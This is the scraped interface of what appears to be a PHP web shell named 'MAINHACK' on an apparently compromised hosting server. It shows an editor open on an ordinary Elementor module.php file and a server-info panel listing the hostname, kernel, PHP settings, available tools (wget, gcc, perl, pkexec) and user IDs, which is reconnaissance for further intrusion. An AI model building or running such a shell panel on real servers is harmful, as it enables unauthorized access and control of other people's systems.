[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: module.php
<?php namespace Elementor\Core\Common\Modules\Connect; use Elementor\Core\Base\Module as BaseModule; use Elementor\Core\Common\Modules\Connect\Apps\Base_App; use Elementor\Core\Common\Modules\Connect\Apps\Connect; use Elementor\Core\Common\Modules\Connect\Apps\Library; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class Module extends BaseModule { /** * @since 2.3.0 * @access public */ public function get_name() { return 'connect'; } /** * @var array */ protected $registered_apps = []; /** * Apps Instances. * * Holds the list of all the apps instances. * * @since 2.3.0 * @access protected * * @var Base_App[] */ protected $apps = []; /** * Registered apps categories. * * Holds the list of all the registered apps categories. * * @since 2.3.0 * @access protected * * @var array */ protected $categories = []; protected $admin_page; /** * @since 2.3.0 * @access public */ public function __construct() { $this->registered_apps = [ 'connect' => Connect::get_class_name(), 'library' => Library::get_class_name(), ]; // Note: The priority 11 is for allowing plugins to add their register callback on elementor init. add_action( 'elementor/init', [ $this, 'init' ], 11 ); } /** * Register default apps. * * Registers the default apps. * * @since 2.3.0 * @access public */ public function init() { if ( is_admin() ) { $this->admin_page = new Admin(); } /** * Register Elementor apps. * * Fires after Elementor registers the default apps. * * @since 2.3.0 * * @param self $this The apps manager instance. */ do_action( 'elementor/connect/apps/register', $this ); foreach ( $this->registered_apps as $slug => $class ) { $this->apps[ $slug ] = new $class(); } add_filter( 'elementor/editor/localize_settings', [ $this, 'localize_settings' ] ); } public function localize_settings( $settings ) { return array_replace_recursive( $settings, [ 'i18n' => [ 'connect_error' => __( 'Unable to connect', 'elementor' ), 'connected_successfully' => __( 'Connected successfully', 'elementor' ), ], ] ); } /** * Register app. * * Registers an app. * * @since 2.3.0 * @access public * * @param string $slug App slug. * @param string $class App full class name. * * @return self The updated apps manager instance. */ public function register_app( $slug, $class ) { $this->registered_apps[ $slug ] = $class; return $this; } /** * Get app instance. * * Retrieve the app instance. * * @since 2.3.0 * @access public * * @param $slug * * @return Base_App|null */ public function get_app( $slug ) { if ( isset( $this->apps[ $slug ] ) ) { return $this->apps[ $slug ]; } return null; } /** * @since 2.3.0 * @access public * @return Base_App[] */ public function get_apps() { return $this->apps; } /** * @since 2.3.0 * @access public */ public function register_category( $slug, $args ) { $this->categories[ $slug ] = $args; return $this; } /** * @since 2.3.0 * @access public */ public function get_categories() { return $this->categories; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619